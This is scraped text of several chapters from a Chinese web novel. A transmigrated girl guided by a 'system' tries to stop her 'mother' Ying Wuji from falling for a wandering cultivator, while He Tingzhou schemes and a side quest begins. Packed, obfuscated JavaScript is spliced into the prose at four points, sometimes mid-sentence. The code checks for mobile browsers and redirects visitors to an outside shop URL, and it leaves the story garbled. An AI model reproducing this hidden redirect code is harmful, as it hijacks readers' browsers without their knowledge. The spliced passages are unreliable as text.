一阵风卷过,她手里的木盒子重新回到了贺听舟手里,贺听舟深深地嗅了一口饭菜的香味,感叹道:“我以我尝过无数美食的经验告诉你,这简直是人间盛宴,味道可以与香满楼的烧鸡媲美!” 说完,眼珠一转,笑着对柳沅说:“我可以答应你的条件,不过前提是你同意我来你家蹭饭。” 这……柳沅傻眼了,这算什么理由? “快答应她啊,宿主,这可是个好机会。”系统催促道。 柳沅微笑着走近贺听舟,轻声道:“就只有这一个条件?” 贺听舟飞快点头。 “成交。不过你可千万别后悔。”她这话说的意味深长,贺听舟一心只在木盒的饭菜上,压根没多想,忙道:“知道了知道了,我不会反悔的。” “可以把这里面的菜分我一点吗?”她抬起头,眼巴巴地望着柳沅。 柳沅绽开一个大大的笑容,点头道:“当然可以,不过饭不在……” 剩下的话断在喉咙里,她震惊地看着贺听舟取下腰间那个小型的饭盒挂件,饭盒落在她手心的那一瞬间就变成了正常大小,贺听舟一打开,里面就装满了白米饭。 “还有这样的法宝啊。”柳沅忍不住出声道。 贺听舟见她一直盯着自己的饭盒,眼睛一弯,笑得十分灿烂,解释道:“这是我从一个前辈那里继承到的一个法宝,无论何时,只要我灵力不断,就能一直装着白米饭。” 说完,她有点不好意思地挠挠头,小声道:“我……我总是会饿,所以很需要这个法宝。” 柳沅看着那变得比锅还大的饭盒,咽了咽口水,憋出句:“能吃是福。” 贺听舟听出了她的言外之意,干笑几声,继续埋头吃饭,吃到一半,发现柳沅要往外走,忙问道:“你不吃吗?这原是你的早饭吧?” 柳沅看着她嘴边粘的饭粒,摇摇头:“你吃吧,我还有事。” 一走到院子里,她便开始盘问系统贺听舟的身份。 系统结结巴巴了半天,才解释道:“她是反派众多后宫中唯一的一位妻子,简而言之就是正宫。在反派心中占据很大的位置,几乎能够左右他的想法。” 去你的,柳沅骂道,又是那个反派。怎么全世界都和这个奇怪的反派有关系。 贺听舟是那种可爱型的长相,杏眼鹅蛋脸,笑起来有两个酒窝,脸颊自带的婴儿肥十分可爱。还有李桑字。 柳沅忍无可忍地闭上眼睛,试图逃避现实。 “为什么反派能被这么多漂亮姑娘喜欢?”她恨恨道。 系统思考了一会儿,解释道:“书中描写的反派的外貌十分艳丽,能让世间所有的美景失色。可能是因为外表?” 柳沅走到院中树下,一屁股坐在了树根处,愤愤道:“我就不会喜欢他。” “哈哈,宿主你现在的身体在原剧情中也是喜欢反派的。”系统调侃道。 柳沅捂住耳朵,咬牙切齿道:“那是原剧情中的她,我是我自己,我才不会被剧情操纵,喜欢上那个劣迹斑斑的反派。” “哦~”系统故意拉长了声音,“或许反派并不像传闻那样凶恶呢?或许他性格温柔呢?” 闻言,柳沅呸的一声骂道:“他要是温柔会追着我杀吗?” 系统被她的话逗得直笑。 又过了一会儿,贺听舟吃饱了,心满意足地从厨房里出来,打着嗝走到柳沅身边,笑眯眯道:“多谢款待。” “不用谢。这菜又不是我做的。”柳沅正被反派的事情烦着,没好气道。 “咦?”贺听舟弯下腰,凑到她面前,调皮地摘下飘落在她头顶上的一片树叶,举到她面前,笑道:“火气别这么大呀。既然你说不是你做的,那便是你姐姐做的啦。” 柳沅抓走她手里的树叶,随意扔到地上,点了点头。 贺听舟笑得更灿烂了,夸赞道:“没想到你姐姐不仅修为深厚,厨艺也是一流啊。看来以后有口福了。” 明明是夸赞,可传到柳沅耳朵里,则是带着刺的。她刚想反驳,先一步意识到了她的话没有任何问题。 刻薄的话堵在喉间不上不下,噎的她说不出话来。 贺听舟奇怪地望着她突然变得古怪的表情,递给她一个和上次一模一样的骨笛,说道:“有需要我抓散骨魂的时候,你就吹响这个骨笛,我会来的。” 然后怕柳沅不相信,补充道:“这回的和上次不一样,不会诓你的,放心好了。” 临走时,贺听舟朝她挑挑眉,带着点试探性的表情问道:“不过你有没有想过加入入梦人组织?” “我?加入入梦人?”柳沅有点意外。 “对啊,“贺听舟抱臂,冲她一笑,”我倒觉得你很有天分,不修仙可惜了。“ 柳沅一直都对这个世界的修仙体系很好奇,之前请求应无霁教她修仙没被同意,就把这种想法搁置下来了。贺听舟的提议又勾起了她心里的那份好奇。 但贺听舟的提议并非像表面上那么无害和漫不经心。 柳沅和贺听舟对视一眼,各自露出了若有所思的表情。 她一旦加入入梦人,抓散孤魂也算是违规,那样就和贺听舟是同一条绳上的蚂蚱了。 很聪明啊,贺听舟。 柳沅往后靠了靠,就着坐下的姿势,从下至上望向贺听舟。 “这可真是个好主意。“她话中有话。 闻言,贺听舟笑了:“我就喜欢和聪明人讲话。” 柳沅轻哼一声,说道:“那我期待你下次带来好消息。” 这是答应的意思了。贺听舟的脸上露出满意的笑容,朝她挥挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我娘年轻时是村里出了名的美人,但美人心气也高,我娘还认字,能看书吟诗,于是更加看不上那些乡野村夫。”李桑字开始说起张大娘的故事,柳沅坐在一旁慢慢地听。 张大娘叫做张桑榆,出生于一个普通的农户家庭,不甘于就那么做一个农妇,卯足了劲读书认字,可年龄到了,父母只会给她寻人家嫁出去。张桑榆看不上那些毫无文化,脑子空空的村夫,灵机一动,想出了个作诗的法子,宣称自己只会嫁给作诗作的最好的才子。这一招自然拦住了那些大字不识一个的村民,踏上张家的媒人越来越少。 娘亲数落她要求太高,张桑榆倒乐得自在。 她爹李云字是当时逃难来到霞村的,是个穷苦潦倒的落魄书生,偶然之下对她娘一见钟情,写了许多酸诗相送,可他不知道,张桑榆从来不看那些递进家中的信。 就这样,他以为自己被拒绝了。 直到一年后,张桑榆和一伙女伴们进山摘野果,迷路了。眼看天色渐晚,周围渐渐被古怪的寒气充满,树林深处还时不时传来几声古怪的嚎叫。 不知道是野兽还是别的。 夜晚中最致命的不是野兽,而是妖鬼。张桑榆望着抱成一团瑟瑟发抖的女伴们,决意孤身前去寻找出路,却在一个岔路口不小心踩空,落入了猎人的陷阱。 她的腿还受了伤了,眼看天色越来越晚,自己右腿的血越流越多,张桑榆忍不住流出了眼泪,就当她以为自己会死在这里时,深坑的上方传来微弱的呼唤声。 是李云字。 就是这个看起来弱不禁风的书生,背着她走下了山,赶在黑夜完全降临之前,将她送回了家。 30. 萤火(10) “那时候我爹每天都会送我娘一束花,很漂亮的白色小花,无论放多久都不会凋谢。那花现在还开着呢,我爹虽然不在了,但看着这花,我们总能想起我爹。”李桑字的脸上露出幸福的表情,随后又很快变得黯淡。 “所以就是这样我才会对他有那么盲目的期待。”她说了这么一句没头没尾的话,然后深深地叹了一口气。 能让她发出这样的感叹的只会有一个人。 叶子桐。 可柳沅不明白,那天她分明看见叶子桐冲进屋子里救了李桑字,那便说明他至少不会对李桑字毫无感觉,可为什么现在她的话里全是绝望呢? 柳沅疑惑地望着她。 李桑字换了个姿势,双手撑着脸颊,望着天边缓缓飘过的白云,说道:“你知道吗?霞村有一个古老的传说,在月亮升到最高空时,去池塘的源头,水面上会露出命定之人的脸。” “我那天晚上偷偷出去了,看见的不是他。”李桑字的话里带着浓浓的自嘲。 “我一直以为会是他的。” 闻言,柳沅突然想起她藏在送饭的木盒下的两颗丹药,想问问那天她写在纸条上的话的意思,却又问不出口。李桑字察觉到了她的情绪,笑着说道:“不过你身边有俏儿姑娘,应当是不会出事的。” 这话又没头没尾了,柳沅皱眉,询问的话刚要出口,耳边传来任务提示音:“触发支线任务:补充配角剧情。在霞村流传着一个古老的传说,在月亮升到最高空时找到池塘的源头,即可发现一枚宝物法镜,名为转生镜,此物可照见未来。” “这宝物原是反派送给白月光的定情之物,后下落不明,宿主可拾取,镜子的另一个作用是加快修炼速度,是不可多得的宝物。” 这是好事啊。 柳沅眼睛一亮,忍不住笑了。 这宝物先不说能不能为她所用,光是卖就能卖不少钱吧?她正窃喜,又听见李桑字小声道:“最近我总是看见俏儿姑娘和一个散修呆在一起,是她交新朋友了吗?” “很少看见俏儿姑娘和别人走的那么近呢。”她感叹道。 散修?和应无霁走得很近? 柳沅察觉到了关键词,迅速伸出手,把李桑字的身体扳过来,目光灼灼地望着她:“她最近和一个散修走的很近?” 李桑字原本只是随意谈起的,见柳沅反应这么大,呆呆点头。 “对啊,那个散修最近常常来村里给村民们看病,大家都叫他菩萨道士。”她笑着说道。 “而且,他长得很好看呢。白白净净的,眉目如画,浑身上下就透着一股仙气。修仙者还真是和我们凡人很不一样。” 完蛋了。 柳沅有点慌,长得好看,性子又温柔,还无偿给村民看病。这不就是古早虐文小说男二的标配吗? 只要他和应无霁再接触的久一点,应无霁就会被他的温柔细腻打动,然后…… “不行!我不同意!”柳沅大喊一声,噌的一下从地上站起来,转头就往家里跑。李桑字惊愕地望着她的背影,愣了愣。 肩膀上传来重量,有人把手搭了上去。她以为是去而复返的柳沅,笑着回头,却发现是叶子桐。 李桑字的笑一下就僵在了脸上。叶子桐并没察觉到她的抗拒,坐在柳沅刚才的位置上,笑道:“我记得你从小就喜欢坐在这棵榕树下。” 若是往常,叶子桐只要表现出一点对李桑字的在意,话语里稍微提到她的信息,就会收获李桑字满满的热情。 可今日,不,这几日都很反常。 不仅叶子桐很少见到她,就连他主动接近她都会被避开,就像现在这样。李桑字刻意往旁边挪了挪,两人之间隔开了好大一块空地,都能再坐下一个柳沅了。 “你最近怎么了?”叶子桐皱眉问道。 李桑字淡淡地看他一眼,没有回答这个问题,只是说道:“我并不喜欢呆在这棵榕树下。” 闻言,叶子桐一愣。 她笑了,带着点讽刺:“我只会在心情不好的时候才过来坐坐,你看到我经常在这边,只是因为我每次心情不好都和你有关。” “而你根本不在意我难受或者开心,你像逗弄宠物一样玩弄我的感情,觉得我超出你的掌控了就会主动关心我,怕我真的失控。” 李桑字站起来,昂起头,俯视着这个自己一直以来喜欢的人,残忍地揭开了他们之间心知肚明的伪装。 “这个游戏结束了,叶子桐。” 她怜悯地看了一眼面色阴沉的叶子桐,轻笑一声:“别人都觉得我傻傻的付出很可怜,但我觉得,你才可怜。” 说完,她头也不回地离开了,只留下叶子桐独自坐在榕树下,攥紧了拳头。 接下来的半个月里,柳沅每天都紧盯着应无霁,再经历五次被发现,五次跟丢,五次跟错人后,她终于发现了两人相约见面的地方,并发誓一定要在情况还没恶化时,拆散这两个人。 这天黄昏,她刚把应无霁做好的菜摆在桌子上,院子里就来了一位不速之客。 贺听舟穿着皱巴巴的白色道袍,咻的一下钻进了厨房。还没等柳沅反应过来,院子里突然又涌入一大群人。 那群人穿着官府的服装,神色凶狠,大摇大摆就进来了,推开站在桌边的柳沅,捡起桌上的菜就吃。 柳沅被莫名奇妙推了一下,正有气没处发作,一个胖胖的官吏便走到她面前,趾高气昂地问道:“有没有看见一个穿着白色衣服的女子过来,最好说实话,得罪官府的下场可不是你这种平民能承担的起的!” 说完,还用鼻孔朝着她冲气,一副得意洋洋的样子。看的柳沅牙痒痒。 早在好几天前,贺听舟便把进入入梦人组织的推荐信给了柳沅,并强调这是她好不容易求来的,柳沅将直接隶属入梦人首领的麾下,简直是前途无量。此后柳沅与那神秘的首领通过几次信,在他的指导下进步神速,一般的妖魔鬼怪根本就伤不到她。 不过,她还没找人练过手呢。 这不是送上门来的蠢货吗? 柳沅一拳正对胖子的面门,体内灵力随之发动,竟然把这看起来有两百多斤重的胖子掀飞了。 胖子惨叫一声,头朝地呈倒插的姿势立了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983094|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贺听舟躲在厨房门后,目瞪口呆地看着胖子落在厨房前,砸坏了石头做的台阶。 众官吏哗然,一时之间不敢动作。 “你们刚刚,是想干什么来着?”柳沅拍拍沾上灰尘的手,微笑着望向那群官吏。 众人连滚带爬地把那躺在地上不省人事的胖子拖走,火速往院外跑,边跑边谄媚地说道:“原来是仙人,是我们有眼不识泰山,怕脏了您的眼,我们这就滚。” 等那群人灰溜溜地走了,贺听舟才鬼鬼祟祟地从厨房里出来,走到柳沅身边,夸赞道:“不愧是你,短短半个月进步神速啊。” 柳沅神气地昂起头,拽拽地皱了下鼻子,哼了一声:“那当然,也不看看我是谁。” 贺听舟又夸了她几句,同时偷偷摸摸地往放着菜的桌子旁边移动,目标是放在桌角的烧鸡。眼看自己就要将垂涎欲滴的烧鸡收入囊中,一双手迅速拿走了烧鸡。 贺听舟的笑容凝固了,随即望向来者。应无霁把那装着烧鸡的碗,连带着端上桌的菜全都拿走,头也不回地往厨房走。 “哎!”贺听舟着急地跺跺脚,大喊一声:“别!别!那些菜还能吃呢,你别倒了呀。” 话音刚落,除了那盘烧鸡,所有的菜全被应无霁倒在了泔水桶里。亲眼看着美食被糟蹋,贺听舟心如绞痛,慢慢滑倒在地。 在旁边目睹了全程的柳沅忙走过来,把她从地上拉起来,哄道:“哎呀那些菜都被那几个人糟蹋了,你喜欢吃什么,我给你做。不就是几个菜吗?” 贺听舟前一秒还在捂着眼睛崩溃,后一秒就迅速恢复了活力,期待地望着柳沅,问道:“真的吗?你真的愿意给我重做?” “当然,”柳沅拍拍胸脯保证道,“只不过你得告诉我你为什么被他们追。” “这其实也不是什么大事,”贺听舟站稳,看了一眼应无霁,慢吞吞道:“就是他们知道我认识俏儿姑娘,于是找我来打听她的事情。” 应无霁原本靠在门边发呆,突然感觉到两道视线齐刷刷地望向自己,下意识看向柳沅。 柳沅一脸震惊,怀疑自己听错了。 “我也很纳闷为什么找我问,还说我得到了她的指点,功力突飞猛进。我最近也没变厉害啊……” 贺听舟还在喋喋不休地讲述着,柳沅的思绪已经飘远了。 一定是那个散修,一定是! 她严肃地望向应无霁,发现他竟然避开了她的视线,还不自在地换了个姿势站着。 他平时可不这样。应无霁什么时候心虚过,只有在偷吃东西的时候才会这样。 柳沅越想觉得自己的猜测是对的,连忙唤出系统。 “原小说中娘亲和男主决裂后,遇到过温柔的男性角色吗?” 系统当然知道她这几日的忧虑,想说又有点不敢说,所以一直支支吾吾的。 “你快说啊!”她着急的不得了。 “那我说了,你控制好情绪。”系统提前给她打了预防针,然后说道:“有的,而且原书剧情中此人作为推动男女主感情线的关键角色,发挥了不少作用。” 31. 血与暗 “可他现在提前出现了。”柳沅喃喃道。 “是的,在男女主还没见面的时候出现,那就不是什么好消息了。”系统这样说道。 这回柳沅是真慌了,顾不上贺听舟奇怪的眼神,唰的一下冲到应无霁身边,紧紧挽住了他的胳膊。 “我不想死。”她哭丧着脸,语无伦次起来。 应无霁想抽走自己的手,无奈她抱的太紧,怎么都扯不开。贺听舟目瞪口呆地望着寸步不离守在应无霁身边的柳沅,结巴了半天,憋出句真是姐妹情深。 此时的柳沅悲伤过了头,只知道按照往常的时间,应无霁马上就要出门见那个散修了,她那么好看的娘亲,要被拐走了。 “不行,我不能就让事态这样发展下去,就算他们现在有了感情基础,但这并不意味着他们就已经到了谈婚论嫁的地步。”柳沅这样对系统说道,同时也是安慰自己。 下一刻,她的眼前浮现了一行字:你知道镇上哪里有定做嫁衣的铺子吗? 天塌了,柳沅只知道自己的天都塌了。 “这才认识多久,已经要谈婚论嫁了吗?”她失声惊叫道。 什么谈婚论嫁?应无霁皱眉,伸手戳了戳柳沅的额头,发现她垂头丧气地望着自己,眼神悲伤。 怎么了?他满头雾水。 这样的情景落在贺听舟眼中又是另外一种情形,她觉得这两人一定是内讧了,那这是她的机会呀,只要挑拨离间成功,自己就能把原本属于应无霁那部分的分红拿走,她和柳沅对半分,钱不就多了? 她越想越美,大笑一声吸引了两人的注意力,然后装作不在意地提起今早在村口看见应无霁和一个穿着青衣的散修在一起。 这话果然吸引了柳沅的注意力,她看上去很慌张,却竭力控制自己显得自然,追问道:“然后呢?你还看到了什么?” 贺听舟见计划得逞,清了清嗓子,大声说道:“哎,正好我就在他们身边,也正好俏儿姑娘没认出我来,我看见俏儿姑娘好像在和那人在商量什么价格。俏儿姑娘一直没说话,都是那人在试探着说价格。” 果然,一听自己这话,两人的表情都变得有些不对。柳沅是若有所思,应无霁…… 贺听舟实在是读不懂他眼神里的东西,只是感觉他的神色更紧绷了些,好像心情不是很好。 好,达到了预期的效果,她心想。 就差最后一把火了。 贺听舟确实在村口看见了应无霁和那个散修,但是隔得太远,她压根就没看见他们在做什么。而商议什么价格全是她捏造的。 为的就是让柳沅怀疑应无霁背着她们和别人谈散骨魂的生意,以此来达到挑拨离间的效果。 贺听舟觉得自己就是个天才,正准备继续编造两人已经达成协议,高价售卖散骨魂这最后一句话时,柳沅的表情突然放松了下来。 竟然还露出了笑容。 “还好还好,散骨魂不止我们能卖,价格那么高一定会有别人想做,只要不暴露我们就行了,我相信她。”柳沅道。 贺听舟傻眼了,几乎是咬着后槽牙问道:“你就这么相信她?” 只要不是爱上了,损失点钱无所谓。柳沅心里的大石头啪嗒一下就落下了。 只要不是应无霁和那个散修发展出感情线,一切都不重要了。 损失的钱从应无霁分得的那部分拿就可以了。 她暗喜。 贺听舟又苦口婆心劝说柳沅,企图继续自己的挑拨离间计划,都被她敷衍过去了,一怒之下,她不小心说漏了嘴,说自己是中午才来到霞村的。 既然是中午才来的,那她怎么可能早上就看见应无霁和那个散修的? 柳沅意识到贺听舟说了谎,心底的那块大石头又重新坠了回来。她的脸色一下就变得苍白了。 而就趁着她和贺听舟掰扯话里的真假,应无霁悄无声息地出了院门,朝着山林的方向走去。 等柳沅从贺听舟嘴里逼问出事实,再回头找他时,人早就不见了。 “完了,完蛋了啊!”柳沅一声哀嚎,扑通一声跪在了地上。她已经开始幻想任务失败的后果,自己到底是直接被系统抹杀呢,还是在这个世界里慢慢消失呢? 还是直接抹杀吧,她悲痛欲绝地闭上了眼睛。 慢慢消失也太痛苦了。 一旁的贺听舟见她一副精神失常的样子,迟疑道:“不就是俏儿姑娘和那个散修走得近吗?你至于这样吗?” 柳沅不想理她,自顾自地从地上爬起来,有气无力地趴在桌前,似乎已经昏睡过去了。 “你是不想你姐姐和一个来历不明的散修有接触吗?或许我能帮上忙?”贺听舟说道。 这句话给濒临绝望的柳沅一丝希望。她猛地抬头,怀疑地望着她:“你不会又想坑我吧?” “哎,”贺听舟摆出一副你怎么能不相信我的样子,拍了下她的肩膀,“我是这种人吗?要坑你刚才就坑了,你就信我一回。” 柳沅呵呵一笑,没说话。 “贺听舟是原书中反派后宫的头头,能稳坐那个位置那么久,应该有特殊的能力。娘亲防我们防的很紧,或许换个人能有意外的收获。”系统劝说道。 闻言,柳沅思考了一会儿,问贺听舟道:“你先说说你有什么办法。” 说到这个,贺听舟可来劲了,一屁股坐在树根上,摆出一副高深莫测的样子,还捋了捋并不存在的胡子。 “依我看你不必太着急,我觉得那散修并不是俏儿姑娘喜欢的类型。” “你没见过你怎么知道她不喜欢?”柳沅反驳道。 “哎,这你就不懂了,”贺听舟朝她挤挤眼,“喜欢一个人,眼神是藏不住的。你看俏儿姑娘的眼神有什么变化吗?” 柳沅按照她的话回忆了一下,确实没发现应无霁最近有什么明显的变化,但是…… 她突然将怀疑的目光放在了贺听舟身上。 贺听舟被她的眼神吓到了,忙撇清关系道:“别看我,我能和俏儿姑娘有什么关系?” 柳沅扶着下巴,若有所思道:“不过你最近每次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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应无霁的心情似乎不错,嘴角带着很罕见的笑容。这让柳沅本就不安的心更加不受控制。 她望着他,正打算起身。没想到应无霁看见她的动作,犹如一只受惊的兔子,慌忙就跑进了厨房。 柳沅刚抬起的手缓慢地垂了下去。 娘大了不中留啊。她惆怅地继续撑着头望天,心中满是苦涩。 “不过你可以主动去问问娘亲,说不定她会对你说实话,若是发现是误会就更好了。”系统提议道。 柳沅摇摇头,把自己的眼睛扯成一条线,痛苦道:“他这几天一直躲着我,我想问也没机会。” 话音刚落,石桌震动了一下,一双白皙修长的手出现在柳沅的视野里,她一眼就认出来这是应无霁的手。 几乎是下意识的,她狠狠抓住了那只手,力度大到她的指尖泛白,应无霁的手背登时红了。 随着温热的体温到来的,还有一种强烈的排斥力量。 柳沅惨叫一声,整只手都红了。就算这样,她也没想过放开他。 应无霁也由一开始的震惊反应过来,强制把她的手从自己的手背上拉了下来。 32. 血与暗(2) 尽管他的动作已经很快了,但那股力量还是注入了柳沅的身体,对她的经脉造成了强烈的冲击。 剧痛之下,她面色发白,鬼使神差地还要去抓他的手。应无霁甩出桃木枝,狠狠敲了下她的脑袋,这才把她唤醒。 “刚才……那是……”柳沅吐出一口浊气,十分后怕地把手放到了胸口。 【我身上的能量又开始波动了,所以才会和你保持距离。】 一般情况下,应无霁只会对他的行为作出解释,并不会说些多余的话,但这次,他犹豫了一会儿,继续写道:没有故意不理你,让你不开心,我很抱歉。 咦?柳沅微微一怔,望向应无霁的眼神中掠过一丝惊诧,又很快被喜悦所取代。 “哎,以前她从来都不会对我解释的,但这次说了。这是不是说明我们之间的关系已经稍微近一点了?”她沾沾自喜地问系统。 系统没有回答,但柳沅默认自己的分析是正确的,一时之间也不在意身体的疼痛了,心情舒畅地冲着应无霁露出一个笑来。 应无霁见她表情放松,不像有事的样子,打算离开。 但柳沅想趁热打铁提升提升好感度,迅速伸手去抓他的衣角,又被桃木枝狠狠敲了下。 “哎哟。”她痛呼一声,龇牙咧嘴地收回手。 应无霁微蹙眉毛,下巴微微抬着,烦躁地看了她一眼。 一行字缓缓浮现在她眼前:【刚才还没长记性?】 柳沅对着他嘿嘿一笑,趁机走到他身边,没话找话道:“你……你每天出去是见什么人吗?我好像总是看见你出去,是见朋友吗?” 柳沅突然的热情让应无霁有点困惑。 自己不过是和她多说了几句话,这人怎么就开心成这样? 他不解,又实在不喜欢和人挨得太近,于是微微往旁边撤了几步,摇了摇头。 不是去见朋友?柳沅心中警铃大作,不是朋友,那不就是恋人吗? 她灿烂的笑容凝结在了脸上。 “那是去见喜欢的人吗?”她几乎是咬着后槽牙问出这句话。 应无霁点头。 那一瞬间,柳沅感觉自己的神魂骤然离体,仿佛下一刻就要消失在这世界上了。 去——见——喜——欢——的——人—— 她深吸一口气,感受着心中沸腾着的滚烫怒气,绝望地嘶吼道:“你什么时候有喜欢的人了?他是谁?我认识吗?你们进展到哪一步了?” “娘亲,你不仗义啊,你怎么能现在才告诉我!” 【别这样叫我,不是你想的那样。】 应无霁有些无奈地写道 “那是什么样?”柳沅的表情十分无助,想到了更坏的一种情况。 这两人不会已经生米煮成熟饭了吧?按照应无霁这种什么都闷着不说的性格,主动承认去见喜欢的人,那不就是情感稳定了,要考虑成亲的事情了吗? 柳沅这么一分析后,发现自己更绝望了。 她的任务,她的性命,难道就要败在这么所谓的小青手中了吗? 不,不行!她不能就这么不明不白地死了。 见她一副要死要活的样子,应无霁迟疑了一瞬,摇了摇头。 这让差点死去的柳沅抓住了一丝希望,急促追问道:“你不喜欢吗?” 应无霁刚想点头,突然发现柳沅的眼神太热切了,好像她比他更在乎这个问题。 他嘴角微微扬起,故意摇摇头。果然,柳沅的脸色突然变得灰暗,整个人也蔫了下来。 “完了,一切都完了。”她绝望地呢喃道。 娘亲喜欢上别人了,喜欢上的人还不是男主,完蛋了,全完了。 不过…… 她的心里渐渐浮起一个邪恶的想法。 既然木已成舟,娘已爱人…… 柳沅阴恻恻地想:那就拆散他们,狠狠地拆散他们! 应无霁压根不知道柳沅认定了他和那个散修是一对,也压根不知道她制定的拆散计划。他微微弯了弯腰,好奇地观察着柳沅莫名变幻的神情,嘴角上扬了一个明显的弧度。 于是柳沅刚刚经历完头脑风暴,好不容易在拆散这两人的幻想中消散掉怨气,就看见眼前出现了一行字:你比小青有意思多了。 她刚扬起的嘴角立刻就垮了下去。 “噗,”系统忍不住笑了出来,“这样看来在娘亲心里,你比那个散修重要。这算是个好消息。” 柳沅生无可恋地抬起头,望着自家娘亲美丽的脸,心痛的快要流血。 “我不会允许他抢走娘亲的,绝对不会!”她攥紧了拳头,神情悲愤。尽管她目前的修炼水平刚刚入门,但是起码有一战之力。如果利用计谋拆不开,还是可以用武力争取一下的。 只要对方不要太厉害。 她默默给自己打气。 应无霁弯弯眼睛,眼眸里的雾气顿时化作一池春水,勾的她心跳慢了半拍。 【加把劲,我相信你能做好。】 柳沅愣了半天都没想清楚这句话是什么意思,直到耳边响起系统憋笑的声音:“你刚才把那句话喊出来了。” 哪句话?她还想了一下。 片刻后,应无霁看见柳沅迅速低下头,脖子全红透了。 他忍不住笑了,转身离去。 过了很久柳沅的体温才恢复正常,而等她回过神来,桌子上已经摆好了饭菜。她茫然地抬起头,目光落在应无霁房间紧闭的门上。 “看来娘亲还没完全忘记你这个女儿,还记着给你做饭呢。”系统调侃道。 柳沅心事重重地拿起筷子,机械地往嘴里扒饭。 这一顿饭吃的真是味同嚼蜡,她兴致不高,匆匆吃完收拾好碗筷便回了房间。 深夜 巨大的白色月亮挂在漆黑的天幕之上,应无霁站在房顶上,凝望着月亮。 突然,远处传来一阵清晰的脚步声,时快时慢,有时像蹦蹦跳跳刚学会走路的小孩,有时又像暮年垂垂老矣的老者。 应无霁转过身,望向来者。 一个红衣女子。 “又见面了。”女子的声音很低沉,语气里带着淡淡的疏离。 应无霁俯视着她,沉默着举起了手里的桃木枝。 “你不用这么警惕,我们是来帮你的。”她抬起头,月光洒在那张艳丽的脸上,让她看起来像随时会消失的鬼魅。 “你可以期待一下,”她特意停顿了一下,带着极大的恶意说道:“你这次能不能死成?” 闻言,应无霁连表情都没变,依旧冷冷地盯着她,好像她只要做出一点奇怪的举动,他就会立即出手把她杀掉。 女子能清楚地感知到他的杀意,意味不明地笑了一声:“我来只是通知你,做好准备,说不定这次你的愿望就能实现了。” “当然,代价也很大。”她不知道想到了什么,表情变得十分期待。 说完,她晃晃缠在手腕上的红飘带,就要转身往院子外走去。 但应无霁才不会这么轻易地放她离开。 只见他猛然发力,一直藏在宽大的袖子中的桃木枝瞬间出动,精准地穿过了女子的后背,带着斑斑血迹,又回到了那双白皙修长的手中。 红衣化作一滩不明的黑血,被黑暗中涌出的怪物分食。 应无霁厌恶地甩掉桃木枝上沾着的血迹,冷漠地转身,继续去看那巨大的月亮。 “哎,你知道吗?昨晚上有个入梦人突然失踪了,尸体都没发现!” “那些妖魔鬼怪已经这么厉害,能够无声无息地杀死入梦人了吗?” 柳沅刚从酒楼中出来,就听见一群人凑在一个告示牌前面,叽叽喳喳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012481|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨论着。她听到了入梦人的字眼,于是也好奇着凑了上去。 只见告示牌的正中央,有几个红色的大字——再来,格杀勿论。 那字写的潦草,但是柳沅总觉得有点熟悉。 不会是应无霁写的吧?她被自己突然蹦出来的想法吓到了,连连摇头。 怎么可能是应无霁呢?虽然她是一个修仙者,但也是一个手无缚鸡之力的弱女子啊,怎么可能杀的掉入梦人呢? 柳沅又往里挤了挤,想再听些别的八卦,突然发现前几天贴在告示牌上的方家告示不见了。 “哎,这方家的告示怎么不见了?”她随口问道。 右臂传来一阵挤压力,柳沅转头望去,发现是一个穿着白衣的书生。书生摇着扇子,神神秘秘道:“那天这告示被人摘下的时候我正好在,你知道是谁摘下来的?“ 他这么一说,柳沅突然有点印象,好像当时她也在场,只看到了那人的背影。 很像应无霁。 见她一脸茫然,书生得意地一挥扇子,高声道:“是一个姑娘!“ “那姑娘看着手无缚鸡之力,竟然还敢掺和方家这趟浑水,论胆量,我想她称第二,没人敢称第一。“ 闻言,柳沅忍不住问道:“方家怎么了?为什么你说这是一趟浑水?” 书生刚要接着说,远处突然传来一阵马蹄声,一群穿着官兵服饰的人鱼贯而出,人群大叫着四散,柳沅也被人流冲开。等到街上重新恢复秩序,那书生已经不知哪里去了。而柳沅抱怨着人多差点把她拿着的东西挤掉,匆忙走到路边,开始清点自己买的纸笔和首饰。 呼—— 一阵突如其来的风吹开了她垂在胸前的小辫子,柳沅抬头,发现自己正站在方府的大门口。 大门敞开着,似乎专门等着她的到来。 又是一阵风,柳沅猛地回头,却只看见一道急速消失的红色背影。 她愣了愣,正犹豫要不要进去,突然,耳边响起系统的提示音:支线任务触发——寻找药材,为娘亲医治旧伤。 “本书女主和男主决裂后大战一场,受了很严重的伤,久久不愈。为加快任务进度,早日让男女主解开误会,请宿主在十天时间内潜入方府,找到名为甘月草的药材,帮助娘亲治伤。” “任务奖励一张信息卡,上面包含本书男主的基本信息,对后续任务帮助很大。若宿主无法在规定时间内完成任务,将遭受电击惩罚。” 支线任务?治疗伤口?柳沅若有所思地望着空无一人的大门,莫名有种不详的预感。 